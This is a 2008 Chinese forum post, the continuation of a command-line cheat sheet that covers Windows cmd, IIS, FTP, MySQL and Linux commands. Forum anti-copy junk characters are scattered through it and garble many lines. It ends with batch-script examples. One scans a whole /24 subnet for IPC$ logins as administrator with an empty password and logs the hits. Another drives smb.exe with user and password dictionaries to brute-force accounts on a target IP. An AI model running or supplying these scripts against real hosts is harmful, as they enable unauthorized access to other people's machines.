|
楼主 |
发表于 2008-7-26 08:23
|
显示全部楼层
接上面
#3 三: 2 N* s' A( N6 T# ?0 v
# a* N4 P" h3 aver 在DOS窗口下显示版本信息
; P% B& b; u+ Qwinver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
" F4 U' E* k! c, U9 Y; rformat 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS - S1 Q$ {6 l" O+ }6 S2 r' ~0 u
md 目录名 创建目录
4 m/ g f# I; A) Wreplace 源文件 要替换文件的目录 替换文件 1 p- a' v. j u! f) s _( i
ren 原文件名 新文件名 重命名文件名
% C, E/ p: w- h- v2 ztree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 + T- b5 h8 k% s+ E
type 文件名 显示文本文件的内容 7 G* p& x0 A; I8 U3 S$ D+ d; c
more 文件名 逐屏显示输出文件
% Q, p5 H! V& O8 O# Kdoskey 要锁定的命令=字符 7 L, B$ T+ S, T* }7 w/ w
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= ) V, q6 m+ W( g4 j" c
taskmgr 调出任务管理器
+ n! S7 K) f4 n3 ?chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
: g2 ]- x5 }4 g! l2 Ptlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 # E4 A, R! A- @# D0 w- c
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
! T0 M2 @4 e* D5 ipath 路径\可执行文件的文件名 为可执行文件设置一个路径。
! r( g1 d% u; A3 X A6 O) t! j; r$ ~cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
2 M7 Z) i& g6 j e! bregedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; ) S8 M4 n. s, Z+ y: A4 K( K
regedit /e 注册表文件名 导出注册表 + o& E4 ?% o9 A. \
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 * a4 C/ s. D7 x! S \6 P' ?
cacls 文件名 查看文件的访问用户权限列表 " t' L/ S" v7 N4 W! t
REM 文本内容 在批处理文件中添加注解 1 ^& a0 Z! L8 `. n9 X
netsh 查看或更改本地网络配置情况 ( b- W4 z: n! r0 s4 z
, o8 Q% N" }1 @' A: \% G9 D) _
#4 四:
/ ?/ D0 O e$ k1 s6 y' i2 b0 W1 C: L. n4 }1 k! w: U, p
IIS服务命令:
+ @$ A: l& J: x. `0 aiisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
, x& T t) A6 H, _: ^% R; ziisreset /start或stop 启动(停止)所有Internet服务 : d5 Y% J E* C: @
iisreset /restart 停止然后重新启动所有Internet服务
3 ~8 z- W1 ?9 N2 }' aiisreset /status 显示所有Internet服务状态 9 ?: ]5 W0 m: E% i( F/ w0 c8 Q) r
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
) E$ P" t' Y1 Q3 a, p/ Q+ s, ^iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 8 f, ]9 B3 F6 p; R- I
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
5 }% @1 r* m2 T' yiisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 " ]' \5 J' Y3 M/ H' J, d
FTP 命令: (后面有详细说明内容) 6 ?& `; _6 U! A( Q- I
ftp的命令行格式为: / c. i" _- u; c& a9 @5 q
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 7 _: V4 x/ n8 I7 i1 Q8 c
-d 使用调试方式。 ' K8 h( r8 B/ Q _; f6 d9 B
-n 限制ftp的自动登录,即不使用.netrc文件。 2 ^) I: ^# d3 Y0 c' q$ K
-g 取消全局文件名。
! P% P- g$ S3 _/ c/ D( T; Phelp [命令] 或 ?[命令] 查看命令说明
' T3 g0 S0 x0 ^% \1 g$ abye 或 quit 终止主机FTP进程,并退出FTP管理方式.
$ v% v# F& `6 h9 i M7 rpwd 列出当前远端主机目录 7 F3 R! K& _' X' f& C" V! d
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 * I! s3 h8 v# v M% [8 U
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
' ]4 p& S6 h4 D w: B& H! Kmget [remote-files] 从远端主机接收一批文件至本地主机 t( i2 [( N: \ @2 T+ h9 n8 d. k* `
mput local-files 将本地主机中一批文件传送至远端主机 J( S5 o, ^8 ^+ ]
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
, y, |' M5 P6 h0 {! G( Hascii 设定以ASCII方式传送文件(缺省值)
% P/ ~# O. S T4 ^bin 或 image 设定以二进制方式传送文件
1 Y: f) Y3 V9 q1 Q/ F# t6 pbell 每完成一次文件传送,报警提示 ) g' M# ^& E4 a& o! M; V* j
cdup 返回上一级目录
0 V. j1 S$ P5 _$ c% lclose 中断与远程服务器的ftp会话(与open对应) ( I* T* `) K6 V0 r' ]5 ~8 A
open host[port] 建立指定ftp服务器连接,可指定连接端口
6 D U2 U. y u; Hdelete 删除远端主机中的文件 9 k- C) n; X! {
mdelete [remote-files] 删除一批文件
2 q; k+ ^2 f0 bmkdir directory-name 在远端主机中建立目录 , W. X; a Z# m& g; n: P
rename [from] [to] 改变远端主机中的文件名
% r8 R, V" `: |0 Trmdir directory-name 删除远端主机中的目录 ' m# s/ Y& X- @' ~
status 显示当前FTP的状态 6 k4 e' z) t: g. M6 t
system 显示远端主机系统类型
5 A1 E$ E6 Q, `: E) k' C: W2 T H8 `user user-name [password] [account] 重新以别的用户名登录远端主机
3 @$ A3 u4 W4 Jopen host [port] 重新建立一个新的连接 - l' Y- U" F! ^
prompt 交互提示模式
; `) J7 m& \' H( d8 hmacdef 定义宏命令 # V" S: w7 m# x/ r' x
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
1 t% i ^9 H/ ?chmod 改变远端主机的文件权限 ! g" _; {' M! h
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
- c( c2 N" I" ^6 s* E0 n: u1 Acd remote-dir 进入远程主机目录
) \8 P2 Y% b9 X0 scdup 进入远程主机目录的父目录 y( l# R$ l% u' F6 H, e0 ?6 E
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
/ Y* d7 v) G, \, ?2 |. [8 b4 O$ l7 M$ V6 N( P7 S7 S' J
#5 五: 0 }+ r0 ?5 p! [
* Z4 h* Z+ @6 l9 S8 i7 P
MYSQL 命令: 3 r9 t4 |) ^4 {4 `% P f
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
) W" L+ Y, a m% a: K, o C+ t(例:mysql -h110.110.110.110 -Uroot -P123456 $ t7 |: d# N% O0 \4 ^' K3 T
注:u与root可以不用加空格,其它也一样) 7 X) S/ a$ A6 x8 w% h
exit 退出MYSQL ! M7 C, }0 b. \ ]: L
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 . _1 J+ F- d) b: b
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) / R* k8 }; `! d5 _2 [4 e" P' r
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 ^- H6 @9 s& p. Z" r1 `' N
use mysql; $ M! f7 P3 N8 W0 I+ T
show tables; 显示库中的数据表
0 P* K& z7 \" I$ _describe 表名; 显示数据表的结构 $ ]2 h. H' Y- M( F& V
create database 库名; 建库 / I5 v9 e9 d& p/ u
use 库名;
6 O) F: S7 `; [: ]* P) z Y+ ecreate table 表名 (字段设定列表); 建表
' M* F, X. E0 r1 gdrop database 库名;
$ ]1 i5 a" q& z1 G/ {; r, P& d# j& edrop table 表名; 删库和删表 ) k8 D( |% h* h9 Y' b. f
delete from 表名; 将表中记录清空
1 x* d4 {* r4 x% E _3 @select * from 表名; 显示表中的记录
( ^" f4 w/ Q& V; `1 i! Zmysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 ; T8 {2 [; C7 Z! X4 Q4 V
win2003系统下新增命令(实用部份):
8 i0 u& a( w. H% b% C. ?shutdown /参数 关闭或重启本地或远程主机。 ' ], h' d: d& j+ d0 u, Z; o
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
3 I: P0 F" M3 {5 S3 w" W例:shutdown /r /t 0 立即重启本地主机(无延时) + n; g W0 Y# z& S( ^8 ~0 ^, W# P
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 7 i* m6 @5 S' g2 N1 ?2 Z
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
8 G* ]2 @) r; G2 Utasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 : a: }* B7 `0 ?( n7 q/ m; g3 F' F
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
8 M+ N+ c' J) B8 } K( j9 u; R: @- V
#6 六: : p, a: h# Z$ B4 U8 W
6 x. a1 P8 _' t- r. gLinux系统下基本命令: 要区分大小写 8 r/ D8 a' q3 u( N# d5 \8 m8 h0 I
uname 显示版本信息(同win2K的 ver) 1 E3 C1 M6 ]0 C: v9 q! O/ W1 k4 y; C
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
2 e- s2 r) E! ?* e' _& ~pwd 查询当前所在的目录位置
+ L, i3 M) m8 i2 w2 H5 _cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
. {. V! e, Q6 U' ]; g1 jcat 文件名 查看文件内容 # d) e7 Q$ {% {& `+ Q( f# G) V; A
cat >abc.txt 往abc.txt文件中写上内容。
: G' I9 Q, _, U8 w- Gmore 文件名 以一页一页的方式显示一个文本文件。
: s" Y" n/ N2 d( m1 Jcp 复制文件
) L0 d8 E% {( s5 J9 u1 Mmv 移动文件 $ d: t& M; O1 `& r# [8 g+ L
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
* [# x0 l% G0 Gmkdir 目录名 建立目录
* m7 j `! z2 ]6 m8 Y" Yrmdir 删除子目录,目录内没有文档。 $ ^# R) z% z* Y7 w
chmod 设定档案或目录的存取权限
) X# ?! G* W% I' C& C: X" _# z$ \$ M7 xgrep 在档案中查找字符串 U7 u9 F! l: g1 B( q. }8 |6 R
diff 档案文件比较
8 f+ ?8 ]* W7 s/ Y- m7 pfind 档案搜寻
! m2 |6 t! t& s) H1 \/ E+ \/ V# idate 现在的日期、时间 ! x6 U6 s5 f5 F, S2 U7 w" I
who 查询目前和你使用同一台机器的人以及Login时间地点 . v3 X/ e( O6 u/ _
w 查询目前上机者的详细资料 ) r; k+ u4 p3 N: r2 a* c
whoami 查看自己的帐号名称 8 g; B6 I' T0 u. r4 `
groups 查看某人的Group 8 x% a% |; R8 m: w7 U9 R3 m
passwd 更改密码 % o" o& J& a1 ]5 s4 _$ e
history 查看自己下过的命令
/ n- C2 w! r' z( c/ Yps 显示进程状态 1 w& G1 v) h4 n% o' Z! A7 N
kill 停止某进程
! x" e* ?3 I' P! qgcc 黑客通常用它来编译C语言写的文件
$ o5 V1 W' z: q& u# h1 p% \3 \su 权限转换为指定使用者
0 V( Y7 U/ M, atelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 , P( F. o! h8 @1 ]( h
ftp ftp连接上某服务器(同win2K)
( D) g; g9 V, v/ f3 {) z) w. o% V0 }5 w* ~3 h( v1 j; h! }
附:批处理命令与变量 * ?9 ]7 q0 ~; ~6 T) z
$ M2 T. Z' u; _; K* I
1:for命令及变量 基本格式: ! `. z% D' w% [- q
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。 * X W0 Y6 C: R% t* r
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
5 i0 \4 S# a* u J: a9 _/ J6 P! b- a. [1 ^) r; o, M. L0 F
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
7 U2 ?# H1 x8 X) k
e' |1 K, p& ~; e5 Kcommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开 , ^% Q1 h7 Z$ g9 A" {6 g% p, v
command_parameters:为特定命令指定参数或命令行开关
* b; q" V* r- ]0 t! E) I6 i( z% J
7 d; J( B+ e: M$ NIN (set):指在(set)中取值;DO command :指执行command
( U+ ]+ B0 A. R0 Q4 K2 l# U0 m3 T s3 }" T' V/ c6 q! d+ c6 o
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。 ) Y0 Q( z7 M+ f5 n, i" f* O$ z
用法举例: ' m. G4 \6 i$ p) N
@echo off 5 c3 ?3 D. B. F+ q( a9 |
echo 用法格式:test.bat *.*.* > test.txt 1 I! U2 p0 R* @4 z5 ?- z
+ a n' `; q/ \/ I6 Dfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt 0 l3 P3 ~/ i. B# I' f2 |, f
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。 ; }2 n) c# P E3 P6 O
* A2 ^' o" H+ ]5 F& q7 _! s/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
4 b, k) K" ] z2 U, t@echo off
5 T! B, V" l; P$ b2 N8 i4 Decho 用法格式:ok.bat ip " u4 b$ m4 O# \( h1 C. S8 i8 [
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 ' S, c3 u: Z" Y c% s8 c
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。 |
|